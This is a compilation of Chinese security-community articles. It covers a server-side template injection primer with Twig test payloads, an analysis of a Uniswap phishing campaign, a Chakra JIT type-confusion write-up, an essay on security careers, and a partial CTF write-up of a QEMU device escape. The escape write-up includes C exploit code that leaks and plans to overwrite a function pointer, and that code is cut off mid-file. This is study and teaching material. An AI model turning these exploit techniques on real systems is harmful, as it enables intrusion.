webapp》](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf),从服务端模板注入的形成到检测,再到验证和利用都进行了详细的介绍。本文在理解原文内容的基础上,结合更为具体的示例对服务端模板注入的原理和扫描检测方法做一个浅析。
**
**
**一、模板注入与常见Web注入**
就注入类型的漏洞来说,常见 Web 注入有:SQL 注入,XSS 注入,XPATH 注入,XML
注入,代码注入,命令注入等等。注入漏洞的实质是服务端接受了用户的输入,未过滤或过滤不严谨执行了拼接了用户输入的代码,因此造成了各类注入。下面这段代码足以说明这一点:
// SQL 注入
$query="select * from sometable where id=".$_GET['id'];
mysql_query($query);
-------------华丽的分割线------------- // 模版注入
$temp->render("Hello ".$_GET['username']);
而服务端模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web
应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell
等问题。其影响范围主要取决于模版引擎的复杂性。
**
**
**二、模板注入原理**
模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,这里我们使用 PHP
模版引擎[Twig](http://twig.sensiolabs.org/) 作为例子来说明模板注入产生的原理。考虑下面这段代码:
<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig=newTwig_Environment(newTwig_Loader_String());
$output=$twig->render("Hello {{name}}",array("name"=>$_GET["name"]));// 将用户输入作为模版变量的值
echo$output;
使用 Twig 模版引擎渲染页面,其中模版含有 {{name}} 变量,其模版变量值来自于 GET 请求参数$_GET["name"]
。显然这段代码并没有什么问题,即使你想通过 name 参数传递一段 JavaScript 代码给服务端进行渲染,也许你会认为这里可以进行
XSS,但是由于模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击:
[](http://blog.knownsec.com/wp-content/uploads/2015/11/1.png)
但是,如果渲染的模版内容受到用户的控制,情况就不一样了。修改代码为:
<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig=newTwig_Environment(newTwig_Loader_String());
$output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分
echo$output;
上面这段代码在构建模版时,拼接了用户输入作为模板的内容,现在如果再向服务端直接传递 JavaScript 代码,用户输入会原样输出,测试结果显而易见:
[](http://blog.knownsec.com/wp-content/uploads/2015/11/2.png)
对比上面两种情况,简单的说服务端模板注入的形成终究还是因为服务端相信了用户的输出而造成的(Web安全真谛:永远不要相信用户的输入!)。当然了,第二种情况下,攻击者不仅仅能插入
JavaScript 脚本,还能针对模板框架进行进一步的攻击,此部分只说明原理,在后面会对攻击利用进行详细说明和演示。
**
**
**三、模板注入检测**
上面已经讲明了模板注入的形成原来,现在就来谈谈对其进行检测和扫描的方法。如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。
借用本文第二部分所用到的代码:
<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig=newTwig_Environment(newTwig_Loader_String());
$output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分
echo$output;
在 Twig 模板引擎里, {{var}} 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值,例如这里用户输入
name={{2*10}} ,则在服务端拼接的模版内容为:
Hello{{2*10}}
Twig 模板引擎在编译模板的过程中会计算 {{2*10}} 中的表达式 2*10 ,会将其返回值 20 作为模板变量的值输出,如下图:
[](http://blog.knownsec.com/wp-content/uploads/2015/11/3.png)
现在把测试的数据改变一下,插入一些正常字符和 Twig 模板引擎默认的注释符,构造 Payload 为:
IsVuln{# comment #}{{2*8}}OK
实际服务端要进行编译的模板就被构造为:
HelloIsVuln{# comment #}{{2*8}}OK
这里简单分析一下,由于 {# comment #} 作为 Twig 模板引擎的默认注释形式,所以在前端输出的时候并不会显示,而 {{2*8}}
作为模板变量最终会返回 16 作为其值进行显示,因此前端最终会返回内容 Hello IsVuln16OK ,如下图:
[](http://blog.knownsec.com/wp-content/uploads/2015/11/4.png)
通过上面两个简单的示例,就能得到 SSTI 扫描检测的大致流程(这里以 Twig 为例):
[](http://blog.knownsec.com/wp-content/uploads/2015/11/5.png)
同常规的 SQL 注入检测,XSS 检测一样,模板注入漏洞的检测也是向传递的参数中承载特定 Payload
并根据返回的内容来进行判断的。每一个模板引擎都有着自己的语法,Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL
注入中有着不同的数据库类型一样。
简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload
是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI。
**
**
**四、小结**
本文简单介绍服务端模版注入漏洞如常规 Web 注入漏洞之间的关系,分析了其产生的原理,并以 PHP 模板引擎 Twig 为例讲解了 SSTI
常规的扫描和检测方法。虽然说 SSTI 并不广泛存在,但如果开发人员滥用模板引擎,进行不安全的编码,这样 Web 应用就可能出现
SSTI,并且根据其模板引擎的复杂性和开发语言的特性,可能会造成非常严重的问题。
在后续的文章中会针对各语言流行的模板引擎做一个较为详细的研究和分析,给出对应的可利用点和方法。
参考
* [https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)
* [https://www.youtube.com/watch?time_continue=1342&v=BGsAguMPtFw](https://www.youtube.com/watch?time_continue=1342&v=BGsAguMPtFw) | 社区文章 |
# Uniswap v3出现漏洞？No,新型钓鱼来袭！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 事件背景
2022年7月12日早6时，币安交易平台CEO赵长鹏发推表示，通过威胁情报在 ETH 区块链上检测到 Uniswap V3
潜在漏洞，到目前为止，黑客已经窃取了 4295 ETH。并给出了黑客转移资金的相关地址。
<https://etherscan.io/address/0x09b5027ef3a3b7332ee90321e558bad9c4447afa#internaltx>
随后的几个小时内，多个推特用户发文称此次黑客攻击中，转出资金的交易并无异常，并表示这是网络钓鱼攻击，也就是说漏洞并不是Uniswap本身风险。
随后赵长鹏再次声明，通过与Uniswap团队沟通，Uniswap协议本身未发现安全风险，该攻击事件可能为钓鱼攻击。
## 0x2 攻击信息
* _攻击者地址_
0x3cafc86a98b77eedcd3db0ee0ae562d7fe1897a2
0x09b5027ef3a3b7332ee90321e558bad9c4447afa
* _攻击者合约_ **（$** UniswapLP.com (UniswapLP.com) **）**
0xCf39B7793512F03f2893C16459fd72E65D2Ed00c
* 受害者地址
0xecc6b71b294cd4e1baf87e95fb1086b835bb4eba
0x15c853bdafc9132544a10ed222aeab1f239414fe
0xc8c9771b59f9f217e8285889b9cdd7b9ddce0e86
* Uniswap V3: Positions NFT
0xc36442b4a4522e871399cd717abdd847ab11fe88
## 0x3 攻击分析
**1、攻击者提前部署攻击合约（$ UniswapLP.com (UniswapLP.com)），注意这里的名称，里面有的关键信息包含了 UniswapLP
和 UniswapLP.com网址，而该网址仔细看并不是Uniswap官方网址，访问之后会发现官方网站及其相似。**
**2、通过攻击合约调用Uniswap V3: Positions NFT (UNI-V3-POS)合约给受害者地址发送名为（$ UniswapLP.com
(UniswapLP.com)）的资金。** 这一步在交易信息中显示如下：
该步骤也是钓鱼攻击的关键，通过发送名为（$ UniswapLP.com
(UniswapLP.com)）的Token资金，会给资金接收者一种错觉，Uniswap V3发送了UniswapLP.com给接收者地址
，这个时候攻击者可能会访问UniswapLP.com网站，进行下一步操作。
**3、受害者点击该网址，将自己的资金授权给攻击者事先写好的地址。**
下面来看其中一个受害者的具体操作。
**受害者执行多次setApprovalForAll授权。**
查看任意一笔交易的详情
可以明显看出，受害者调用Uniswap V3: Positions NFT合约的setApprovalForAll方法，将自己的NFT资产授权给攻击者地址。
**4、授权成功后，攻击者利用授权账户将受害者NFT资产转出。**
**5、攻击者通过Uniswap V3: Positions NFT合约将NFT资产转换为ETH。**
6、最终攻击者将获取的 7500 枚 ETH 转移至 Tornado.Cash 混币平台。
## 0x4 总结及建议
通过以上事件可以发现，攻击者主要利用社工钓鱼方式来诱导用户点击钓鱼网站及授权自己的NFT，不过与之前大多数钓鱼不同的是，此次钓鱼攻击事件的初始阶段是在区块链浏览器展开，通过伪造合约名称和发币来混淆用户的视线，最终诱导用户授权自身NFT资产。
## 安全建议
* **访问未明确网站时，需要仔细确认是否为预期官方网站；**
* **使用网站 mint 功能及其他敏感功能时，需要注意钱包签名是否与预期功能相符，避免签名 setApprovalForAll 方法；**
* **如果发现已经进行setApprovalForAll 方法授权，建议尽快取消授权及转移该钱包的资金。** | 社区文章 |
Author: Qixun Zhao(aka @S0rryMybad && 大宝) of Qihoo 360 Vulcan Team
作者博客：<https://blogs.projectmoon.pw/2018/10/26/Chakra-JIT-Loop-LandingPad-ImplicitCall-Bypass/>
### 前言
在[第一篇文章](https://paper.seebug.org/704/
"第一篇文章")的时候,我们提到过关于回调的漏洞一般分为三种情况,其中第一种是GlobOpt阶段的|BailOutOnImplicitCall|
bailoutKind没有加入.具体来说就是在GlobOpt阶段遍历处理每一个opcode的时候,chakra会检测这个opcode是否有必要加上此bailoutKind,如果加上了,在Lower阶段生成出的指令中会在指令结束的时候检测一个implicit
call
flag，在发生回调的时候这个flag设置为true,JIT生成的检测指令如果检测到为true就会bailout,用于在回调发生的时候bailout。
今天我们要介绍的是[CVE-2018-8456](https://github.com/Microsoft/ChakraCore/commit/98360625854f84262ce8de59a7f57496393281f3
"CVE-2018-8456"),这个漏洞的原理有点复杂,我的表达可能会不太清楚,希望大家能坚持看下去:)
### Check Or Not Check?
我们知道,在很多情况下,上述的implicit call flag
check指令是没有必要生成的,所以有一个专门的函数决定当前opcode是否生成|BailOutOnImplicitCall|
bailoutKind,这个函数是|IsImplicitCallBailOutCurrentlyNeeded|.
我们可以看到高亮的地方,对应的参数是|mayNeedImplicitCallBailOut|,如果为false,这个指令必定不会生成|BailOutOnImplicitCall|,换句话说,如果当前block
|IsLandingPad|为true,当前block上所有的指令都不会生成check.这里我们有必要了解一些编译原理的相关术语block和LandingPad
### What is LandingPad
在编译原理中,CFG(控制流程图)中的最小单位是block,每一个不同的流程都会分裂出一个block,而block也是JIT中很喜欢进行优化的一个单元(我们可以看到optblock等等的函数),block组成function,opcode组成block.而LandingPad是针对Loop(循环)优化而生成的一个子block,用于存放loop中一定保持不变的变量的相关指令,也就是没有必要每一次循环都调用的指令.举个具体的例子,看如下js代码:
我们知道数组每一次的访问都是需要load field,type check, bound check等等,然后再赋值,但是这里很明显type
check和bound check都是可以提取到loop
body外面,只需要在循环开始的时候检查一次就可以了,否则会浪费很多时间执行没必要的检查,这个在chakra称为|Loop
hoist|.用于存放这些只需要在循环开始运行一次的指令的block就称为|LandingPad|,在这个区域中生成的任何指令都不会进行implicit
call check.
但是很明显不是每一个opcode都是可以hoist到|LandingPad|的,用于决定函数是否可以hoist的函数是|TryHoistInvariant|
=>
|OptIsInvariant|.简单来说就是,如果chakra觉得opcode的所有src都是不变量并且opcode带有CanCSE的属性,这个opcode就会被hoist.通过简单审阅一遍,我发现能hoist的指令的条件十分苛刻,主要在CanCSE属性和要求Src的Type
|IsPrimitive|为true这两点上:
这几乎把所有能回调的opcode都封掉了.其实这也很正常,如果带有回调,opcode的dst就肯定不会为不变量.所以这里我们需要转换思路.
### Give me a callback in LandingPad
CSE是一种常见的编译器优化措施,用于消除一些可以取代的公共子表达式,但是带有回调的opcode是不可以通过CSE措施消除的,因为带有回调往往就表示这个opcode产生的结果不会是不变量.既然不能直接hoist,那么我们能不能用已经hoist的指令生成一个新的带有回调的指令呢,事实证明这个思路是可行的.我在审阅|OptHoistInvariant|的过程中,出现一种情况会生成一个新的opcode(OptHoistInvariant=>OptHoistUpdateValueType):
我们可以看到,|SetConcatStrMultiItemBE|有一个逻辑会生成|Conv_PrimStr|,并且这个opcode带有|OpOpndHasImplicitCall|属性,说明它是有可能回调的.聪明的读者在这里可能也会提问为什么我们不直接插入|Conv_PrimStr|到LandingPad.这里因为要产生回调src必须不为Primitive,但是上文已经提到,如果|IsPrimitive|为false,这个指令是不可以hoist的,所以这里通过这种曲线救国的方法hoist上去.
### What is your src’s TYPE, Conv_PrimStr?
接下来是此漏洞最关键的地方.
所以为什么通过|SetConcatStrMultiItemBE|hoist上去的|Conv_PrimStr|就可能不为Primitive?首先我们需要看函数|OptHoistUpdateValueType|的逻辑,正如函数名字那样,因为在hoist的过程中,这个opcode是需要从一个block转移到另一个block上(LandingPad),所以opcode的src
type是需要更新的,因为type check指令可能存在与这两个block之间,如果hoist到type
check指令之前,type要变为Likely.还是举个例子:
这里我们给var1变量的profile feed一个string类型,然后调用它的|slice|函数,在调用的时候需要type check string,
type check完成后,在这个block中余下的地方,var1 这个value的type都是|Definite
String|,所以|IsPrimitive|为true,并且其他两个相加的变量都是常量字符串,这样可以保证了每一次循环中|let tmp2 = var1
+ ‘projectmoon’ + ‘projectmoon’;|tmp2得到的结果都是一样的,完全可以hoist到loop
body外面,从而|SetConcatStrMultiItemBE|会hoist到LandingPad,由于LandingPad在slice调用以前,也就是在type
check string之前,所以这个时候的var1变量的type必须从|Definite String|变成|Likely
String|.而|OptHoistUpdateValueType|就是专门负责这种情况的:
由于现在var1还没有经过slice函数调用,也就是没有经过type check
string,所以它可能是非String类型的变量,所以这里还需要加入一个|Conv_PrimStr|
opcode,用于把非String类型转换成String,正如上文提到的(因为SetConcatStrMultiItemBE要求传入的src都是String),这个指令有可能生成回调,同时它的src
type
|IsPrimitive|为false,按照chakra的设计,它是不可以出现在LandingPad区域的,但是通过这个trick我们得到了这样的环境.
### 构造PoC
有了上文提到的要点后,我们可以开始构造PoC,首先是生成|SetConcatStrMultiItemBE|,这个是通过三个String相加生成(就如上图的例子),这里我们使用var1
+ “constString” +
“constString”生成.其次var1变量必须是String类型(IsPrimitive为true),这样才能hoist到LandingPad.这里我们通过调用var1.slice在String相加之前进行type
check,从而保证了var1在|SetConcatStrMultiItemBE|这里的type是|definite
String|,这里才能保证hoist成功.
这里还有一个问题就是type check指令的hoist(在chakra
master版本有这个问题,正式版本中没有),由于string.slice()需要进行type check,而chakra也认为这个type
check可以hoist到LandingPad中(事实也应该如此),从而会导致我们的变量在LandingPad进入|Conv_PrimStr|之前type
check失败,然后发生bailout,这里我们只需要在loop body中加入arguments变量,就可以阻止string type check
opcode的hoist.构造完有问题的循环体后,我们在循环体的前后加入两个数组的access,在循环体的callback中改变数组的类型,导致type
confusion.
最后JIT的函数体如下:
给JIT profile的时候,我们传入一个string类型给string 参数:
这里传入一个带回调的obj触发漏洞,这里需要注意的是我们不能进入循环体,不然slice函数的string type
check会失败然后bailout,所以start和end都必须为0,但是无论进不进入循环体,LandingPad的指令(回调函数)都是会执行的:
这个特性同时也会产生一些JS层面上的bug,同一段代码在edge中会触发回调,在其他主流浏览器中不会触发回调(事实也不应该触发回调,毕竟我们没有进入循环体,没有执行|let
tmp2 = string + ‘projectmoon’ + ‘projectmoon’;|语句).
通过这个type
confusion我们很容易泄露任何对象的地址和伪造任何对象(参考我们的第一篇文章),有了这两个原语,距离RCE就不远了,具体这里就不再叙述,网络上有大量的公开文章.
### 总结
我们可以看到,通过不同block之间的优化,我们可以得到一些比较复杂的bug,而这些bug往往隐藏得比较深,fuzz也比较难以得到.也启发了我们以后在审阅JIT的相关漏洞的时候,不要再单单针对某个opcode,而是通过block甚至function为单元的审核.
* * * | 社区文章 |
### Author：[赵彦](http://mp.weixin.qq.com/s/icRTSbxjT-1Jf216u6F_pg)
来美团点评快一周年了，打鸡血般的跑完了某厂三年云安全的进度，自嘲的说可能是某厂的“厚积”都跑到美团来“薄发”了，客观而言自觉比较重要的一点就是知人善用。最近又被技术人员问及职业发展的问题，恰好今年面了300多人，就其中发现的问题做一些分享和讨论。职业规划这个东西是没有什么公式可以量化的，也不可能被标准化，这里只是站在某个时间点（2017年底），对当下的形势和风评做一些小结。
## 形势1：
大公司分工越来越细，除了安全负责人以外不需要面面俱到，而是需要在某个领域深挖的人，市场上的高P职位除了安全负责人自己是外行需要一个内行做贴身顾问外，绝大多数职位都是细分领域专家，要求你什么都懂的基本都是安全负责人职位，当然你也可以从这里倒推招聘者是安全专家，还是资源分配者，还是一个彻彻底底的外行。这里说的细分领域专家譬如：二进制很强，或者web很强，或者纯粹的搞站渗透很强，或者不懂安全但是机器学习算法很强。首先，只有大公司才招高P，所有高P一定程度上都反映了大厂的需求，大公司的安全建设除了安全研究类以外都不是单点式，都是体系化和工程化的，大厂需要的经验譬如都是xx万IDC规模下的入侵检测，x万研发人员提交代码仓库的SDL，大部分时候会要求应聘者已经具备相关领域的成熟经验，譬如你应该知道自动化的方案是什么，如果你只是知道用OSSEC的默认配置，对不起，这只是个数千规模量级的解决方案，无论是架构，还是检测深度乃至场景覆盖率都无法解决更大规模下的问题。你说代码检测用xx工具跑一遍，于是还要从头开始跟你普及误报率的重要性和覆盖率的概念，太累，大多数公司甚至整个社会都是急功近利的，KPI又很高压，加上某些公司本来已经做的很成熟了，需要的是更加优化的结果，基于这些原因就更加没有人愿意培养你慢慢上手了，大多数公司都要成手，对高P而言是必要非充分条件。如果你发觉自己什么都会一点，而什么都玩得不深，你可能会焦虑了。
## 形势2：
什么都懂一点的人会是中小企业的需求。近年来在工业界这个范畴里，对安全从业者的需求还是相当大的，甚至现在都可能供不应求。小公司跟大公司不同，安全团队即使有也不会很大，往往需要身兼数职，面对一揽子问题给出最高性价比方案。这类性价比高的方案往往是逮着某个开源软件就上，而不会过分计较他的功效，或者虽然也有安全团队也必须大量的依赖商业产品和解决方案，自己只负责简单的安全产品运维，同时中小企业招聘到高级安全技术人才的可能性不是很高，也间接决定了不可能在结果上深挖。于是一个既懂安全又会开发点小工具，又爱折腾的“全栈工程师”在这种场景下就吃香了。而同样的场景在大公司的安全团队，攻防只做攻防就好，不需要开发，开发会有专门的RD，RD都是需要保证性能和高可用性的，这些显然都不是安全工程师的强项。所以在第一种情况下的焦虑症能在第二种场景里得到缓解，但不好的地方是说一旦你受中小企业欢迎，那么你的技能会越来越聚焦泛而不深的安全需求，你在可预见的职业生涯里都可能跟大公司无缘了，因为你一直在培养小公司急需而大公司不需要的技能，同时小公司即使做到安全负责人也会有职业瓶颈，因为小公司的安全负责人可能收入只有大公司高P的几分之一。人有时候会放过自己一马，去个小公司舒舒服服的当个安全负责人，至少不用在日新月异的技术上孜孜以求，苦苦学习，也不用被成为高P的愿景所绑架，毕竟只有拔尖者最终才会成为高P。
可能有些人会觉得我有捧大厂贬低小厂之意，其实跳出安全行业，放之四海皆准，大厂的专家年入过亿都是有可能的，因为解决的问题复杂度和规模效应的价值可能胜过小公司的老板。大厂的模式也不是十全十美的，这种模式下往往会培养出拧螺丝钉的人，譬如某厂的安全人员的特点是除了自己负责的领域外基本什么都不懂，想培养成为Leader都很吃力。以前还有过一出喜剧：某大厂领导看到某厂人员在安全大会演讲，以为是个高P，欲挖角，结果简历拿回来一看居然只是个低级别的工程师，遂罢。其实这跟某厂的培养模式是相关的，只培养极细分领域，由于某些领域不太被关注，所以深挖很容易博得眼球，但是毕竟价值有限，所以也不会给高职级和高待遇。
从比较积极的角度看，过早的放弃高P路线转向中小企业安全负责人，犹如放弃攀爬一座1000米高的山，转而爬一座600米的山，会舒服一阵，但会更早的迎来半衰期的中点，更早的迎来下坡路。当然很多人希望加上一个前提是同等获利情况下，确实这样更严谨一些。
从招聘者的角度看，大厂过于执着专家型人才也比较偏颇，后来我想了想还是决定调整成看一个人的知识总量和单位时间的学习能力，如果学习效率足够，那么进来培养一下聚焦某几个方向也是可以的。当然什么样的学习能力才算够，这个肯定也是主观的，并且解释权在招聘方，所以应聘者也不用过于纠结公不公平。应聘者需要做的只是厚积薄发，迎合市场需求。
## 关于创业
最后一点：关于创业，要看是去创业公司做股东，还是去创业公司打工，如果是后者，说不定迟早要回大公司，还是得考虑职业连续性问题。当然也看创业公司本身的工作内容和团队的口碑，在一个有竞争力的团队里，容易得到整体溢价的加成。反之则不然，会损失很多机会成本。
自己的公众号，想到哪里就写到哪里，下次有新的想法再写了。
### 来聊五毛钱的 说说大伙对行业的看法 (๑•̀ㅂ•́)و✧ | 社区文章 |
# 2021 AntCTF x D3CTF 部分PWN WriteUp
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## d3dev-revenge
### 分析
首先看一下启动脚本
#!/bin/sh
./qemu-system-x86_64 \
-L pc-bios/ \
-m 128M \
-kernel vmlinuz \
-initrd rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-device d3dev \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null
我们看到这里的`device`的名称是`d3dev`，`ida`看一下相关的函数，发现存在`mmio/pmio`两种方式，分别分析一下，首先看一下`pmio_read`
uint64_t __fastcall d3dev_pmio_read(void *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax
if ( addr > 0x18 )
result = -1LL;
else
result = ((__int64 (__fastcall *)(void *))((char *)dword_7ADF30 + dword_7ADF30[addr]))(opaque);
return result;
}
这里看发生了一个未知的调用，采用的应该是函数表的形式，不过这里不重要，接下来看一下`pmio_write`
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr cmd, uint64_t val, unsigned int size)
{
uint32_t *v4; // rbp
if ( cmd == 8 )
{
if ( val <= 0x100 )
opaque->seek = val; // 设定seek
}
else if ( cmd > 8 )
{
if ( cmd == 0x1C ) // 随机生成key
{
opaque->r_seed = val;
v4 = opaque->key;
do
*v4++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(
&opaque->r_seed,
0x1CLL,
val,
*(_QWORD *)&size);
while ( v4 != (uint32_t *)&opaque->rand_r );
}
}
else if ( cmd )
{
if ( cmd == 4 ) // 清空两个key
{
*(_QWORD *)opaque->key = 0LL;
*(_QWORD *)&opaque->key[2] = 0LL;
}
}
else
{
opaque->memory_mode = val;
}
}
这里涉及到了`d3devState`数据结构，看一下
00000000 d3devState struc ; (sizeof=0x1300, align=0x10, copyof_4545)
00000000 pdev PCIDevice_0 ?
000008E0 mmio MemoryRegion_0 ?
000009D0 pmio MemoryRegion_0 ?
00000AC0 memory_mode dd ?
00000AC4 seek dd ?
00000AC8 init_flag dd ?
00000ACC mmio_read_part dd ?
00000AD0 mmio_write_part dd ?
00000AD4 r_seed dd ?
00000AD8 blocks dq 257 dup(?)
000012E0 key dd 4 dup(?)
000012F0 rand_r dq ? ; offset
000012F8 db ? ; undefined
000012F9 db ? ; undefined
000012FA db ? ; undefined
000012FB db ? ; undefined
000012FC db ? ; undefined
000012FD db ? ; undefined
000012FE db ? ; undefined
000012FF db ? ; undefined
00001300 d3devState ends
这里是根据`cmd`的值来达到不同的功能
* `cmd=8`，设定`seek`的值，这里的`seek<0x100`
* `cmd=0x1c`，更新加解密所需要的`key`，这里是直接调用的数据结构中的`rand_r`函数指针来完成的
* `cmd=4`，这里清空了`key`，所有的`key`均为`0`，注意到这里其实我们就可以实现加解密了，因为所有的`key`都是`0`
接下来看一下`mmio_read`
uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
uint64_t v; // rax
int sum; // esi
unsigned int v1; // ecx
uint64_t v0; // rax
v = opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)];
sum = 0xC6EF3720;
v1 = v;
v0 = HIDWORD(v);
do
{
LODWORD(v0) = v0 - ((v1 + sum) ^ (opaque->key[3] + (v1 >> 5)) ^ (opaque->key[2] + 16 * v1));
v1 -= (v0 + sum) ^ (opaque->key[1] + ((unsigned int)v0 >> 5)) ^ (opaque->key[0] + 16 * v0);
sum += 0x61C88647;
}
while ( sum );
if ( opaque->mmio_read_part )
{
opaque->mmio_read_part = 0;
v0 = (unsigned int)v0;
}
else
{
opaque->mmio_read_part = 1;
v0 = v1;
}
return v0;
}
这里是根据输入的`addr>>3`作为`offset`读取`blocks`中的相关内容，读取的内容进行了加密处理，很容易可以看出来这里的加密算法是`tea`的解密算法。`tea`的加解密算法可以参考[这里](https://www.jianshu.com/p/4272e0805da3)
需要注意的这里需要读取两次才能够获得完整的加密`8`字节数据。接下来看一下`mmio_write`
void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
__int64 offset; // rsi
ObjectClass_0 **opaque_address; // r11
uint64_t v6; // rdx
int v7; // esi
uint32_t key0; // er10
uint32_t key1; // er9
uint32_t key2; // er8
uint32_t key3; // edi
unsigned int v12; // ecx
uint64_t result; // rax
if ( size == 4 )
{
offset = opaque->seek + (unsigned int)(addr >> 3);
if ( opaque->mmio_write_part )
{
opaque_address = &opaque->pdev.qdev.parent_obj.class + offset;
v6 = val << 32;
v7 = 0;
opaque->mmio_write_part = 0;
key0 = opaque->key[0];
key1 = opaque->key[1];
key2 = opaque->key[2];
key3 = opaque->key[3];
v12 = v6 + *((_DWORD *)opaque_address + 0x2B6);
result = ((unsigned __int64)opaque_address[0x15B] + v6) >> 32;
do
{
v7 -= 0x61C88647;
v12 += (v7 + result) ^ (key1 + ((unsigned int)result >> 5)) ^ (key0 + 16 * result);
LODWORD(result) = ((v7 + v12) ^ (key3 + (v12 >> 5)) ^ (key2 + 16 * v12)) + result;
}
while ( v7 != 0xC6EF3720 );
opaque_address[0x15B] = (ObjectClass_0 *)__PAIR64__(result, v12);
}
else
{
opaque->mmio_write_part = 1;
opaque->blocks[offset] = (unsigned int)val;
}
}
}
这里与`mmio_read`类似，虽然这里的`ida`反汇编显示有点问题，但是根据调试可以知道这里的功能就是将用户输入的数据进行解密。解密算法就是`tea`的加密算法（反向理解也可以，写入加密，读取解密）将解密后的数据写入到`blocks[seek+offset]`中。这里也提供了直接写入的
分支，不过只能写入四子节。
### 利用
这里可以很明显的发现一个索引越界漏洞，即`seek`最大为`0x100`，但是对用户输入的`offset`没有进行限制，而`blocks`的大小为`0x101`，也就是这里可以直接越界对`d3devState`结构体进行读写。
很容易的我们发现可以读取器中的`rand_r`函数指针泄漏出`libc`的基址，进而得到`system`的地址，然后可以将`rand_r`函数指针覆写为`system`，之后在进行`pmio_write`中调用`rand_r`函数指针即可执行命令。
### EXP
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
unsigned char* mmio_mem;
uint32_t mmio_addr = 0xfebf1000;
uint32_t mmio_size = 0x800;
int32_t pmio_base = 0xc040;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void* mem_map( const char* dev, size_t offset, size_t size )
{
int fd = open( dev, O_RDWR | O_SYNC );
if ( fd == -1 ) {
return 0;
}
void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );
if ( !result ) {
return 0;
}
close( fd );
return result;
}
void mmio_write(uint64_t addr, uint64_t value, int choice)
{
if (choice == 0){
*((uint8_t*)(mmio_mem + addr)) = value;
}
else if (choice == 1){
*((uint16_t*)(mmio_mem + addr)) = value;
}
else if (choice == 2){
*((uint32_t*)(mmio_mem + addr)) = value;
}
else if (choice == 3){
*((uint64_t*)(mmio_mem + addr)) = value;
}
}
uint64_t mmio_read(uint32_t addr, int choice)
{
if(choice == 0){
return *((uint8_t*)(mmio_mem + addr));
}
else if(choice == 1){
return *((uint16_t*)(mmio_mem + addr));
}
else if(choice == 2){
return *((uint32_t*)(mmio_mem + addr));
}
else if(choice == 3){
return *((uint64_t*)(mmio_mem + addr));
}
}
void pmio_write(uint32_t addr, uint32_t value)
{
outl(value,pmio_base + addr);
}
uint8_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(pmio_base + addr);
}
//加密函数
void my_tea_encrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1];
int sum=0xC6EF3720, i; /* set up */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
do{
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum += 0x61C88647;
}while(sum); /* end cycle */
v[0]=v0; v[1]=v1;
}
//解密函数
void my_tea_decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1];
int sum=0, i; /* set up */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
do{
sum -= 0x61C88647;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
}while(sum != 0xC6EF3720); /* end cycle */
v[0]=v0; v[1]=v1;
}
int main(){
system( "mknod -m 660 /dev/mem c 1 1" );
mmio_mem = mem_map("/dev/mem", mmio_addr, mmio_size);
if (!mmio_mem){
die("mmio or vga mmap failed");
}
printf("get process address\n");
if(iopl(3)!=0){
printf("iopl 3 failed\n");
exit(0);
}
pmio_write(4, 0);
pmio_write(8, 0x100);
uint32_t res[2];
res[0] = mmio_read(3 << 3, 2);
res[1] = mmio_read(3 << 3, 2);
printf("%p %p\n", res[0], res[1]);
uint32_t key[4] = {0};
my_tea_decrypt(res, key);
printf("%p %p\n", res[0], res[1]);
uint64_t randr_address = ((uint64_t )res[1]) << 32;
randr_address += res[0];
